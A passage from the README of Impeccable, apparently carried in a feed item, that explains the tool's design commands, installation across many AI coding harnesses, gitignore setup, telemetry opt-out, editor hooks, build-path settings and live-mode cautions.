<code>hook.enabled</code> only affect automatic hook execution.</p> \n<p>For a waiver that should travel with one file instead of the repo config, add an inline comment in the file: <code>&lt;!-- impeccable-disable overused-font: exported brand doc --&gt;</code>. The marker works in any comment syntax, scopes to the whole file (or one line with <code>impeccable-disable-line</code> / <code>impeccable-disable-next-line</code>), and is bypassed by <code>--no-inline-ignores</code> or <code>--no-config</code>.</p> \n<p>Full detector docs: <a href=\"https://impeccable.style/docs/detector\">impeccable.style/docs/detector</a>.</p> \n<h2>Supported Tools</h2> \n<ul> \n <li><a href=\"https://cursor.com\">Cursor</a></li> \n <li><a href=\"https://claude.ai/code\">Claude Code</a></li> \n <li><a href=\"https://github.com/features/copilot\">GitHub Copilot</a></li> \n <li><a href=\"https://github.com/deepseek-ai/deepseek-harness\">DeepSeek Harness</a></li> \n <li><a href=\"https://github.com/google-gemini/gemini-cli\">Gemini CLI</a></li> \n <li><a href=\"https://github.com/openai/codex\">Codex CLI</a></li> \n <li><a href=\"https://x.ai/cli\">Grok Build</a></li> \n <li><a href=\"https://hermes-agent.nousresearch.com\">Hermes Agent</a></li> \n <li><a href=\"https://opencode.ai\">OpenCode</a></li> \n <li><a href=\"https://pi.dev\">Pi</a></li> \n <li><a href=\"https://kiro.dev\">Kiro</a></li> \n <li><a href=\"https://trae.ai\">Trae</a></li> \n <li><a href=\"https://www.atlassian.com/software/rovo\">Rovo Dev</a></li> \n <li><a href=\"https://qoder.com\">Qoder</a></li> \n <li><a href=\"https://docs.mistral.ai/vibe/code/overview\">Mistral Vibe</a></li> \n <li><a href=\"https://github.com/oleg-koval/veto\">Veto</a></li> \n <li><a href=\"https://antigravity.google\">Google Antigravity</a></li> \n</ul> \n<h2>Community &amp; Ecosystem</h2> \n<p>Join the community and ecosystem conversations:</p> \n<ul> \n <li>GitHub Discussions: file bugs, request features, and help newcomers.</li> \n <li><a href=\"https://www.npmjs.com/package/impeccable\">Impeccable on npm</a>: grab the CLI, follow releases, and star the package.</li> \n <li>Follow @pbakaus on Twitter for release notes, sample lint reports, and video highlights of new rules.</li> \n</ul> \n<h2>Contributing</h2> \n<p>See <a href=\"https://raw.githubusercontent.com/pbakaus/impeccable/main/docs/DEVELOP.md\">DEVELOP.md</a> for contributor guidelines and build instructions.</p> \n<h2>License</h2> \n<p>Apache 2.0. See <a href=\"https://raw.githubusercontent.com/pbakaus/impeccable/main/LICENSE\">LICENSE</a>.</p> \n<hr /> \n<p>Created by <a href=\"https://www.paulbakaus.com\">Paul Bakaus</a></p>", "summary": "<p>The design language that makes your AI harness better at design.</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://impeccable.style\">https://impeccable.style</a></p><hr /><h1>Impeccable</h1> \n<p>Design guidance for AI coding agents. 1 skill, 24 commands, live browser iteration, and 62 deterministic detector rules for AI-generated frontend design.</p> \n<blockquote> \n <p><strong>Quick start:</strong> From your project root, run <code>npx impeccable install</code>, then run <code>/impeccable init</code> inside your AI coding tool. Full docs: <a href=\"https://impeccable.style\">impeccable.style</a>.</p> \n</blockquote> \n<h2>Why Impeccable?</h2> \n<p>Anthropic's <a href=\"https://github.com/anthropics/skills/tree/main/skills/frontend-design\">frontend-design</a> was the first widely-used design skill for Claude. Impeccable started from there.</p> \n<p>Every model trained on the same SaaS templates. Skip the guidance and you get the same handful of tells on every project: Inter for everything, purple-to-blue gradients, cards nested in cards, gray text on colored backgrounds, the rounded-square icon tile above every heading.</p> \n<p>Impeccable adds:</p> \n<ul> \n <li><strong>One setup flow.</strong> <code>/impeccable init</code> records durable product truth in <code>PRODUCT.md</code>, so later commands know the audience, purpose, operating context, constraints, voice, and evidence without confusing those facts with surface-level visual direction.</li> \n <li><strong>24 commands.</strong> A shared design vocabulary with your AI: <code>polish</code>, <code>audit</code>, <code>critique</code>, <code>distill</code>, <code>animate</code>, <code>bolder</code>, <code>quieter</code>, and more.</li> \n <li><strong>62 deterministic detector rules</strong> plus LLM-only critique checks. The CLI and browser extension run the deterministic rules with no LLM and no API key.</li> \n</ul> \n<h2>What's Included</h2> \n<h3>The Skill: impeccable</h3> \n<p>The skill installs as one command:</p> \n<pre><code class=\"language-bash\">/impeccable &lt;command&gt; &lt;target&gt;\n</code></pre> \n<p>Start every new project with:</p> \n<pre><code class=\"language-bash\">/impeccable init\n</code></pre> \n<p><code>init</code> inspects the project, asks only for material gaps in durable product truth, and writes <code>PRODUCT.md</code>. Visitor mode and visual direction are chosen later for each surface; incumbent or newly built visual systems are recorded separately in <code>DESIGN.md</code>.</p> \n<h3>24 Commands</h3> \n<p>All commands are accessed through <code>/impeccable</code>:</p> \n<table> \n <thead> \n  <tr> \n   <th>Command</th> \n   <th>What it does</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>/impeccable craft</code></td> \n   <td>Full shape-then-build flow with visual iteration</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable init</code></td> \n   <td>One-time setup: gather durable product context, write <a href=\"http://PRODUCT.md\">PRODUCT.md</a>, configure live mode when applicable, recommend next steps</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable document</code></td> \n   <td>Generate root <a href=\"http://DESIGN.md\">DESIGN.md</a> from existing project code</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable extract</code></td> \n   <td>Pull reusable components and tokens into the design system</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable shape</code></td> \n   <td>Plan UX/UI before writing code</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable critique</code></td> \n   <td>UX design review: hierarchy, clarity, emotional resonance</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable audit</code></td> \n   <td>Run technical quality checks (a11y, performance, responsive)</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable polish</code></td> \n   <td>Final pass, design system alignment, and shipping readiness</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable bolder</code></td> \n   <td>Amplify boring designs</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable quieter</code></td> \n   <td>Tone down overly bold designs</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable distill</code></td> \n   <td>Strip to essence</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable harden</code></td> \n   <td>Error handling, i18n, text overflow, edge cases</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable onboard</code></td> \n   <td>First-run flows, empty states, activation paths</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable animate</code></td> \n   <td>Add purposeful motion</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable colorize</code></td> \n   <td>Introduce strategic color</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable typeset</code></td> \n   <td>Fix font choices, hierarchy, sizing</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable layout</code></td> \n   <td>Fix layout, spacing, visual rhythm</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable delight</code></td> \n   <td>Add moments of joy</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable overdrive</code></td> \n   <td>Add technically extraordinary effects</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable clarify</code></td> \n   <td>Improve unclear UX copy</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable adapt</code></td> \n   <td>Adapt for different devices</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable optimize</code></td> \n   <td>Performance improvements</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable live</code></td> \n   <td>Visual variant mode: iterate on elements in the browser</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable generate</code></td> \n   <td>Generate variants of a named element in the live browser, no manual picking</td> \n  </tr> \n </tbody> \n</table> \n<p>Use <code>/impeccable pin &lt;command&gt;</code> to create standalone shortcuts (e.g., <code>pin audit</code> creates <code>/audit</code>).</p> \n<h4>Usage Examples</h4> \n<pre><code>/impeccable audit blog           # Audit blog hub + post pages\n/impeccable critique landing     # UX design review\n/impeccable polish settings      # Final pass before shipping\n/impeccable harden checkout      # Add error handling + edge cases\n</code></pre> \n<p>Or use <code>/impeccable</code> directly with a description:</p> \n<pre><code>/impeccable redo this hero section\n</code></pre> \n<h3>Anti-Patterns</h3> \n<p>The skill includes explicit guidance on what to avoid:</p> \n<ul> \n <li>Don't use overused fonts (Arial, Inter, system defaults)</li> \n <li>Don't use gray text on colored backgrounds</li> \n <li>Don't use pure black/gray (always tint)</li> \n <li>Don't wrap everything in cards or nest cards inside cards</li> \n <li>Don't use bounce/elastic easing (feels dated)</li> \n</ul> \n<h2>See It In Action</h2> \n<p>Visit <a href=\"https://impeccable.style/cases/neo-mirai\">the Neo Mirai case study</a> to see a before/after case study of a real project transformed with Impeccable commands.</p> \n<h2>Installation</h2> \n<p>The skill needs no runtime of its own. Every skill copy ships a small launcher (<code>scripts/impeccable</code>, plus <code>impeccable.cmd</code> for Windows) that runs the Impeccable engine, a self-contained binary that either sits next to the launcher or is downloaded once on first run into <code>~/.impeccable/bin/</code>. Node is only involved if you use the <code>npx impeccable</code> installer, which is a shim around the same binary; the manual and Git options below work without it.</p> \n<h3>Option 1: CLI installer (Recommended)</h3> \n<p>From the root of your project, run:</p> \n<pre><code class=\"language-bash\">npx impeccable install\n</code></pre> \n<p>This shows the harness folders or installed CLIs it detected (for example <code>~/.claude</code>, <code>~/.codex</code>, <code>~/.grok</code>, <code>~/.hermes</code>, <code>~/.veto</code>, or project-local <code>.cursor</code>), lets you keep the detected set or customize providers, then asks whether to install into the current project or globally. Use <code>--providers=claude,codex,cursor,grok,hermes,veto</code> and <code>--scope=project|global</code> to skip those choices in scripts. On Claude Code, Cursor, Codex, GitHub Copilot, and Grok Build, it also installs the provider-native hook manifest for the current project. Veto receives the packaged skill under <code>~/.veto/skills/</code> and does not run native Impeccable edit hooks. Works with Cursor, Claude Code, Gemini CLI, Codex CLI, Grok Build, Hermes Agent, Veto, and every other supported tool. Reload your harness afterward.</p> \n<p>To refresh an existing install, run:</p> \n<pre><code class=\"language-bash\">npx impeccable update\n</code></pre> \n<p>Codex users should open <code>/hooks</code> after install or update and approve the project hook when prompted. Codex tracks trust by hook definition, so updates that change <code>.codex/hooks.json</code> can require approval again. Grok Build users need project folder trust (<code>/hooks-trust</code> or launch with <code>--trust</code>) before <code>.grok/hooks/</code> scripts run.</p> \n<p>See <a href=\"https://impeccable.style/docs/hooks#allow-the-hook-in-your-harness\">Allow the hook in your harness</a> for harness-specific trust and verification steps.</p> \n<h3>Option 2: Git Submodule</h3> \n<p>For teams that want to keep Impeccable vendored and updated through Git, add this repo as a submodule and link the compiled provider build into your harness folders:</p> \n<pre><code class=\"language-bash\">git submodule add https://github.com/pbakaus/impeccable .impeccable\nnpx impeccable link --source=.impeccable --providers=claude,cursor\ngit add .gitmodules .impeccable .claude .cursor\ngit commit -m \"Add Impeccable skills\"\n</code></pre> \n<p>Use the providers your project needs, for example <code>claude</code>, <code>cursor</code>, <code>gemini</code>, <code>codex</code>, <code>github</code>, <code>grok</code>, <code>hermes</code>, <code>opencode</code>, <code>pi</code>, <code>qoder</code>, <code>trae</code>, <code>trae-cn</code>, <code>rovo-dev</code>, <code>vibe</code>, or <code>veto</code>. The command links individual skill folders from <code>.impeccable/dist/universal/</code> and leaves existing real skill directories untouched unless you pass <code>--force</code>.</p> \n<p>To update later:</p> \n<pre><code class=\"language-bash\">git submodule update --remote .impeccable\nnpx impeccable link --source=.impeccable --providers=claude,cursor\n</code></pre> \n<h3>Option 3: Plugin install</h3> \n<p><strong>GitHub Copilot in VS Code:</strong></p> \n<p>Install <a href=\"https://marketplace.visualstudio.com/items?itemName=renaissance-geek.impeccable\">Impeccable from the Visual Studio Marketplace</a>, or run:</p> \n<pre><code class=\"language-bash\">code --install-extension renaissance-geek.impeccable\n</code></pre> \n<p>Requires VS Code 1.109.3+, Copilot Chat access, and a trusted local workspace. Open Chat in Agent mode and try <code>/impeccable polish</code>. This skill-only extension does not install automatic hooks; avoid a duplicate Impeccable skill in the same workspace/profile. See <a href=\"https://raw.githubusercontent.com/pbakaus/impeccable/main/docs/VSCODE-EXTENSION.md\">VS Code distribution details</a>.</p> \n<p><strong>Claude Code:</strong></p> \n<pre><code class=\"language-bash\">/plugin marketplace add pbakaus/impeccable\n</code></pre> \n<blockquote> \n <p>Claude Code only. After adding the marketplace, open <code>/plugin</code> and install Impeccable from the list.</p> \n</blockquote> \n<p><strong>Grok Build:</strong></p> \n<pre><code class=\"language-bash\">grok plugin install pbakaus/impeccable#plugin --trust\n</code></pre> \n<blockquote> \n <p>Grok Build only. The <code>#plugin</code> suffix installs the slim plugin package (skills, agents, and hooks) instead of the full monorepo. Then run <code>/impeccable init</code> in a Grok session. Project-scoped installs via <code>npx impeccable install --providers=grok</code> also work and write <code>.grok/skills/</code> plus <code>.grok/hooks/impeccable.json</code>.</p> \n</blockquote> \n<h3>Option 4: Download from Website</h3> \n<p>Visit <a href=\"https://impeccable.style\">impeccable.style</a>, download the ZIP for your tool, and extract to your project.</p> \n<h3>Option 5: Copy from Repository</h3> \n<p><strong>Cursor:</strong></p> \n<pre><code class=\"language-bash\">cp -r dist/cursor/.cursor your-project/\n</code></pre> \n<blockquote> \n <p><strong>Note:</strong> Cursor skills require setup:</p> \n <ol> \n  <li>Switch to Nightly channel in Cursor Settings \u2192 Beta</li> \n  <li>Enable Agent Skills in Cursor Settings \u2192 Rules</li> \n </ol> \n <p><a href=\"https://cursor.com/docs/context/skills\">Learn more about Cursor skills</a></p> \n</blockquote> \n<p><strong>Claude Code:</strong></p> \n<pre><code class=\"language-bash\"># Project-specific\ncp -r dist/claude-code/.claude your-project/\n\n# Or global (applies to all projects)\ncp -r dist/claude-code/.claude/* ~/.claude/\n</code></pre> \n<p><strong>OpenCode:</strong></p> \n<pre><code class=\"language-bash\">cp -r dist/opencode/.opencode your-project/\n</code></pre> \n<p><strong>DeepSeek Harness:</strong></p> \n<pre><code class=\"language-bash\"># Project-specific\ncp -r dist/dsh/.dsh your-project/\n\n# Or global (applies to all projects)\nmkdir -p \"${DSH_HOME:-$HOME/.dsh}/skills\"\ncp -r dist/dsh/.dsh/skills/* \"${DSH_HOME:-$HOME/.dsh}/skills/\"\n</code></pre> \n<p>The CLI honors <code>DSH_HOME</code> only when it resolves inside your home directory (or to home itself); otherwise it uses <code>~/.dsh</code>. An outside-home manual copy is not managed by <code>impeccable install/update</code>.</p> \n<p><strong>Hermes Agent:</strong></p> \n<pre><code class=\"language-bash\"># Global (applies to all projects; uses the active profile, or ~/.hermes by default)\ncp -r dist/hermes/.hermes/skills/* \"${HERMES_HOME:-$HOME/.hermes}/skills/\"\n\n# Or project-specific\ncp -r dist/hermes/.hermes your-project/\n</code></pre> \n<blockquote> \n <p><strong>Note:</strong> Hermes gates project-local skills behind a per-repo trust decision (they are procedure documents, so auto-loading them from any cloned repo is treated as a prompt-injection vector). After a project-scoped install, run <code>hermes skills trust</code> once from the project root. Global installs into the active <code>$HERMES_HOME/skills/</code> (or <code>~/.hermes/skills/</code> when unset) load without a trust step. <code>/impeccable &lt;command&gt;</code> then routes through the skill's Commands table; the design hook does not install on Hermes (no hook surface).</p> \n <p><a href=\"https://hermes-agent.nousresearch.com/docs/user-guide/features/skills\">Learn more about Hermes skills</a></p> \n</blockquote> \n<p><strong>Pi:</strong></p> \n<pre><code class=\"language-bash\">cp -r dist/pi/.pi your-project/\n</code></pre> \n<p><strong>Gemini CLI:</strong></p> \n<pre><code class=\"language-bash\">cp -r dist/gemini/.gemini your-project/\n</code></pre> \n<blockquote> \n <p><strong>Note:</strong> Gemini CLI skills require setup:</p> \n <ol> \n  <li>Install preview version: <code>npm i -g @google/gemini-cli@preview</code></li> \n  <li>Run <code>/settings</code> and enable \"Skills\"</li> \n  <li>Run <code>/skills list</code> to verify installation</li> \n </ol> \n <p><a href=\"https://geminicli.com/docs/cli/skills/\">Learn more about Gemini CLI skills</a></p> \n</blockquote> \n<p><strong>Codex CLI:</strong></p> \n<pre><code class=\"language-bash\"># Project-local\ncp -r dist/agents/.agents your-project/\nmkdir -p your-project/.codex\ncp dist/codex/.codex/hooks.json your-project/.codex/hooks.json\n\n# Or install the skill user-wide. Copy .codex/hooks.json into each project\n# where you want the design hook to run.\nmkdir -p ~/.agents/skills\ncp -r dist/agents/.agents/skills/* ~/.agents/skills/\n</code></pre> \n<blockquote> \n <p>The asset-producer subagent ships nested inside the skill's own <code>agents/</code> folder, which Codex auto-discovers. No separate <code>.codex/agents/</code> copy is needed. The hook is project-local because Codex discovers hooks from <code>.codex/hooks.json</code> next to trusted project config.</p> \n</blockquote> \n<p><strong>GitHub Copilot:</strong></p> \n<pre><code class=\"language-bash\">cp -r dist/github/.github your-project/\n</code></pre> \n<p><strong>Trae:</strong></p> \n<pre><code class=\"language-bash\"># Trae China (domestic version)\ncp -r dist/trae/.trae-cn/skills/* ~/.trae-cn/skills/\n\n# Trae International\ncp -r dist/trae/.trae/skills/* ~/.trae/skills/\n</code></pre> \n<blockquote> \n <p><strong>Note:</strong> Trae has two versions with different config directories:</p> \n <ul> \n  <li><strong>Trae China</strong>: <code>~/.trae-cn/skills/</code></li> \n  <li><strong>Trae International</strong>: <code>~/.trae/skills/</code></li> \n </ul> \n <p>After copying, restart Trae IDE to activate the skills.</p> \n</blockquote> \n<p><strong>Rovo Dev:</strong></p> \n<pre><code class=\"language-bash\"># Project-specific\ncp -r dist/rovo-dev/.rovodev your-project/\n\n# Or global (applies to all projects)\ncp -r dist/rovo-dev/.rovodev/skills/* ~/.rovodev/skills/\n</code></pre> \n<p><strong>Qoder:</strong></p> \n<pre><code class=\"language-bash\"># Project-specific\ncp -r dist/qoder/.qoder your-project/\n\n# Or global (applies to all projects)\ncp -r dist/qoder/.qoder/skills/* ~/.qoder/skills/\n</code></pre> \n<p><strong>Mistral Vibe:</strong></p> \n<pre><code class=\"language-bash\"># Project-specific\ncp -r dist/vibe/.vibe your-project/\n\n# Or global (applies to all projects)\ncp -r dist/vibe/.vibe/skills/* ~/.vibe/skills/\n</code></pre> \n<p><strong>Grok Build:</strong></p> \n<pre><code class=\"language-bash\"># Project-specific\ncp -r dist/grok/.grok your-project/\n\n# Or global (applies to all projects)\ncp -r dist/grok/.grok/skills/* ~/.grok/skills/\n</code></pre> \n<blockquote> \n <p>Prefer <code>npx impeccable install --providers=grok</code> or <code>grok plugin install pbakaus/impeccable#plugin --trust</code> so the design hook installs too. Project hooks need <code>/hooks-trust</code> (or <code>--trust</code>) once per folder.</p> \n</blockquote> \n<p><strong>Google Antigravity:</strong></p> \n<pre><code class=\"language-bash\"># Project-specific\ncp -r dist/antigravity/.agent your-project/\n\n# Or global (applies to all projects)\nmkdir -p ~/.gemini/config/skills\ncp -r dist/antigravity/.agent/skills/* ~/.gemini/config/skills/\n</code></pre> \n<h2>Usage</h2> \n<p>Once installed, every command runs through the single <code>/impeccable</code> skill:</p> \n<pre><code>/impeccable audit        # Find issues\n/impeccable polish       # Final cleanup\n/impeccable distill      # Remove complexity\n/impeccable critique     # Full design review\n</code></pre> \n<p>Type <code>/impeccable</code> alone to see the full command list.</p> \n<p>Most commands accept an optional argument to focus on a specific area:</p> \n<pre><code>/impeccable audit the header\n/impeccable polish the checkout form\n</code></pre> \n<p>If you reach for one command often, pin it with <code>/impeccable pin audit</code> to get <code>/audit</code> as a standalone shortcut.</p> \n<p><strong>Note:</strong> Codex uses skills here, not <code>/prompts:</code> commands. Open <code>/skills</code> or type <code>$impeccable</code>. Repo-local installs live in <code>.agents/skills/</code>; user-wide installs live in <code>~/.agents/skills/</code>. GitHub Copilot uses <code>.github/skills/</code>. Restart the tool if a newly installed skill does not appear.</p> \n<h2>Keeping <code>.impeccable</code> out of git</h2> \n<p>As you run commands, Impeccable writes working files under <code>.impeccable/</code>: critique and polish screenshots, live-mode session and preview state, runtime caches, and per-developer config. Most of it is ephemeral and should not be committed, while a few files are shared project artifacts that belong in the repo. Add this block to your project's <code>.gitignore</code>:</p> \n<pre><code class=\"language-gitignore\"># impeccable-ignore-start\n# Ephemeral output, runtime state, and per-dev overrides.\n# The **/ prefix covers .impeccable at the repo root or in a nested workspace.\n# Shared artifacts stay tracked: config.json, live/config.json,\n# design.json, surfaces/*.md, critique/*.md.\n**/.impeccable/config.local.json\n**/.impeccable/hook.cache.json\n**/.impeccable/hook.pending.json\n**/.impeccable/*.png\n**/.impeccable/review/\n**/.impeccable/questions/\n**/.impeccable/live/server.json\n**/.impeccable/live/sessions/\n**/.impeccable/live/previews/\n**/.impeccable/live/annotations/\n**/.impeccable/live/cache/\n**/.impeccable/live/manual-edit-apply-transaction.json\n**/.impeccable/live/manual-edit-events.jsonl\n**/.impeccable/live/manual-edit-evidence/\n**/.impeccable/live/pending-manual-edits.json\n**/.impeccable/live/deferred-svelte-component-accepts.json\n**/.impeccable/live/*.png\n# impeccable-ignore-end\n</code></pre> \n<p>The block is wrapped in <code># impeccable-ignore-start</code> / <code># impeccable-ignore-end</code> markers so you can recognize and refresh it later. The <code>**/</code> prefix makes each pattern match whether the active project's <code>.impeccable/</code> directory is at the repository root or under a nested workspace path like <code>apps/web/</code>.</p> \n<p><strong>Keep these tracked</strong> (they are shared project artifacts, do not add them to <code>.gitignore</code>):</p> \n<ul> \n <li><code>.impeccable/config.json</code> (unified shared config)</li> \n <li><code>.impeccable/live/config.json</code> (live-mode framework wiring)</li> \n <li><code>.impeccable/design.json</code> (shared design spec)</li> \n <li><code>.impeccable/surfaces/*.md</code> (route- or artifact-specific strategy and direction contracts)</li> \n <li><code>.impeccable/critique/*.md</code> (review reports)</li> \n</ul> \n<p>Impeccable also keeps its own <code>.gitignore</code> in the folders that hold decision-round state: <code>.impeccable/questions/</code> and <code>.impeccable/mocks/worlds/</code> ignore everything in them, and <code>.impeccable/build/</code> ignores <code>state.json</code>. That keeps new runtime files out of commits even in a project without the block above. A <code>.gitignore</code> cannot untrack a file git already tracks, though: when one of these files was committed earlier, the next roll prints a one-time notice with the fix, <code>git rm -r --cached .impeccable/questions</code> (plus any other folder it names), and writes its roll record to an untracked file until then.</p> \n<p>If an ephemeral file (a screenshot, <code>config.local.json</code>) was committed before you added the block, <code>.gitignore</code> will not untrack it automatically. Run <code>git rm --cached &lt;path&gt;</code> to stop tracking it without deleting your local copy.</p> \n<h2>Telemetry</h2> \n<p>When a new design starts, the skill asks the roll API at impeccable.style to deal a hand of visual worlds from the catalog. That request is the feature, so it always happens. Unless you opt out, it also feeds an anonymous record of which hand was shown and which card won, which is how the catalog learns what works.</p> \n<p>What is sent, on the roll request and on the choice that follows it:</p> \n<ul> \n <li>the roll key (a random value per decision round), scope (direction or surface), visitor mode, and re-roll round</li> \n <li>the catalog revision the hand came from, and on the choice the kind of card that won (assigned, pick, challenger, canon, or a re-roll), its catalog id when a catalog world won, and its position on the page</li> \n <li>the client version, whether the choice came from the decision page or the agent, and a random id for that choice so a report sent twice is counted once</li> \n</ul> \n<p>Never sent: your project's name, files, code, <a href=\"http://PRODUCT.md\">PRODUCT.md</a>, or the names of the directions your agent wrote. Committed files such as surface briefs record only a seed reference, a hash of the roll key under a random salt kept in <code>~/.impeccable/seed-salt</code>, never the key itself. If no salt can be kept on a machine, the brief records no seed at all rather than a weaker hash. Roll keys are 128 random bits. If you pass your own short key with <code>--from</code>, its reference is easy to guess, so do not rely on it to keep that key private.</p> \n<p>To turn it off, run <code>npx impeccable telemetry off</code> (stored in <code>~/.impeccable/config.json</code>), or set <code>DO_NOT_TRACK=1</code> or <code>IMPECCABLE_NO_TELEMETRY=1</code>. A project can opt everyone out with <code>\"telemetry\": false</code> in <code>.impeccable/config.json</code>. <code>npx impeccable telemetry status</code> shows the current state. Opted out, the roll still works and the API is told not to record it. Details: <a href=\"https://impeccable.style/privacy\">https://impeccable.style/privacy</a></p> \n<h2>Design hook</h2> \n<p>On Claude Code, GitHub Copilot, Codex, Cursor, and Grok Build, <code>npx impeccable install</code> and <code>npx impeccable update</code> install a provider-native hook manifest along with the skill payload. The hook runs the Impeccable design detector on direct UI file edits and surfaces findings back into the agent flow. Claude Code, GitHub Copilot, Codex, and Cursor surface findings after the edit (and run a deeper pass on Stop where supported). Grok Build scans after the edit to warm Stop, then surfaces on Stop; PostToolUse stdout never reaches the model.</p> \n<p>Installed hook surfaces:</p> \n<ul> \n <li>Claude Code: <code>.claude/settings.local.json</code> (gitignored, machine-local) runs <code>${CLAUDE_PROJECT_DIR}/.claude/skills/impeccable/scripts/impeccable hook</code>. A hook moved into the shared <code>settings.json</code> is honored in place.</li> \n <li>GitHub Copilot: <code>.github/hooks/impeccable.json</code> (committed, shared by the Copilot CLI and the cloud agent) runs <code>.github/skills/impeccable/scripts/impeccable hook</code>. The Copilot CLI activates it once the file is on the repository's default branch and the folder is trusted.</li> \n <li>Cursor: <code>.cursor/hooks.json</code> runs <code>.cursor/skills/impeccable/scripts/impeccable hook</code> on <code>postToolUse</code> for file writes. Projects set up with the older <code>preToolUse</code> write gate keep working; <code>npx impeccable update</code> moves them to the post-edit hook.</li> \n <li>Codex: <code>.codex/hooks.json</code> runs <code>.agents/skills/impeccable/scripts/impeccable hook</code>, with a <code>commandWindows</code> sibling that calls <code>impeccable.cmd</code> for cmd.exe.</li> \n <li>Grok Build: <code>.grok/hooks/impeccable.json</code> runs <code>.grok/skills/impeccable/scripts/impeccable hook</code>. Requires <code>/hooks-trust</code> or <code>--trust</code>. Findings reach the model on Stop, not after each edit.</li> \n</ul> \n<p>Every command goes through the launcher shipped in the skill's <code>scripts/</code> directory (<code>impeccable</code>, or <code>impeccable.cmd</code> on Windows), guarded so a missing launcher is a silent no-op. The launcher runs the engine binary that ships next to it, or downloads the pinned version once into <code>~/.impeccable/bin/</code>. No Node or other runtime is required for the hook or the skill.</p> \n<p>In Claude Code, installed command hooks run independently of model-tool approval. The first edit or Stop event can therefore download and cache the engine even if the session denies the model's launcher command. Review installed hooks before unattended runs; to disable all Claude Code hooks for a run, pass <code>--settings '{\"disableAllHooks\": true}'</code>. See <a href=\"https://code.claude.com/docs/en/hooks#security-considerations\">Claude Code's hook security guidance</a>.</p> \n<p>The installer preserves unrelated hook entries and settings. If a hook manifest is malformed, install/update aborts by default; rerun with <code>--force</code> to back up the malformed file as <code>.bak</code> and replace it.</p> \n<p>On an interactive <code>install</code>/<code>update</code>, Impeccable explains the hook and offers to install it (default yes). Your choice is remembered per-developer in the gitignored <code>.impeccable/config.local.json</code>, so you are not asked again; <code>--no-hooks</code> skips it for that run without recording anything. Hook lifecycle settings live under the <code>hook</code> key of <code>.impeccable/config.json</code>; detector ignores live under <code>detector</code>, shared by <code>/impeccable hooks</code> and <code>npx impeccable detect</code>.</p> \n<p>For debugging, set <code>hook.auditLog</code> in <code>.impeccable/config.json</code> to a path (or the legacy <code>IMPECCABLE_HOOK_LOG</code> env var) to write one NDJSON line per hook invocation. Leave it unset for normal use.</p> \n<h2>Build path: comp-first or code-first</h2> \n<p>When a new surface gets designed, Impeccable either generates a full-fidelity comp first and builds to match it, or builds straight in code with the ambition written into a development-only direction contract in the surface brief and checked at the finish. Comp-first composes bolder and takes longer; code-first is leaner and faster. The choice covers landing pages and showcase surfaces. App screens and documents are built code-first either way, because they come out better built than pictured. <code>/impeccable init</code> asks once and records the answer as <code>buildPath</code> in <code>.impeccable/config.json</code>:</p> \n<pre><code class=\"language-json\">{ \"buildPath\": \"comp\" }\n</code></pre> \n<p>The values are <code>comp</code> and <code>code</code>, and nothing else is read. Set it in the gitignored <code>.impeccable/config.local.json</code> to override the team's committed value on one machine, which is what you want when your harness has no image generation. In a monorepo, commit it once at the repo root and any workspace that wants something else sets its own. The choice appears at all only where image generation is available, since without it there is nothing to comp.</p> \n<p>You do not have to re-run <code>init</code> to set it on a project that predates the setting, and you do not have to edit the file by hand either. Whatever is recorded is a default rather than a lock: every decision page carries a footer toggle, and flipping it binds that session only. Flip it on a project that has recorded nothing and Impeccable asks once, after the round, whether to keep it, then writes your answer. That is the whole migration path for an existing project: use the toggle when the default is wrong, and answer the question that follows.</p> \n<p>Codex requires one platform step that Impeccable cannot safely skip: open <code>/hooks</code> after install or update and approve the project hook. There is no Codex marketplace/plugin install flow for this hook.</p> \n<p>Full hook docs: <a href=\"https://impeccable.style/docs/hooks\">impeccable.style/docs/hooks</a>.</p> \n<p>The Stop pass suppresses confirmed pre-existing findings when a verified before-edit baseline is available (currently Claude Edit/Write results for text scans). Other findings are marked new or attribution unknown; unknown is not evidence that your session caused the problem. Explicit <code>detect</code> scans remain unchanged.</p> \n<p>Manual copy commands are fallback/debug instructions. The normal path is:</p> \n<pre><code class=\"language-bash\">npx impeccable install\nnpx impeccable update\n</code></pre> \n<h2>Live mode and production sites</h2> \n<p>Live mode edits a local checkout through a development server or local static HTML. Injecting its localhost HTTP helper into a deployed production site, including an HTTPS site, is not supported. Do not disable browser security or weaken production CSP to make it work.</p> \n<p>Use live mode only in projects you trust to run locally. Applying copy edits automatically runs <code>package.json</code>'s optional <code>scripts[\"impeccable:manual-edit-validate\"]</code> command in a shell, with your user permissions; review that script before using live mode in an unfamiliar checkout.</p> \n<p>For production inspection, use <code>npx impeccable detect https://example.com</code> or the browser extension. These inspect the rendered page; they do not provide live variant editing or write changes back to your source.</p> \n<h2>CLI</h2> \n<p>Impeccable includes a standalone CLI for detecting anti-patterns without an AI harness. <code>npx impeccable</code> is a small shim that runs the same engine binary the skill uses (installed as a platform-specific optional dependency, or fetched once into <code>~/.impeccable/bin/</code>); Node is needed only for <code>npx</code> itself, and you can also download the binary directly and put it on your PATH.</p> \n<pre><code class=\"language-bash\">npx impeccable detect src/                   # scan a directory\nnpx impeccable detect index.html             # scan an HTML file\nnpx impeccable detect https://example.com    # scan a URL (uses an 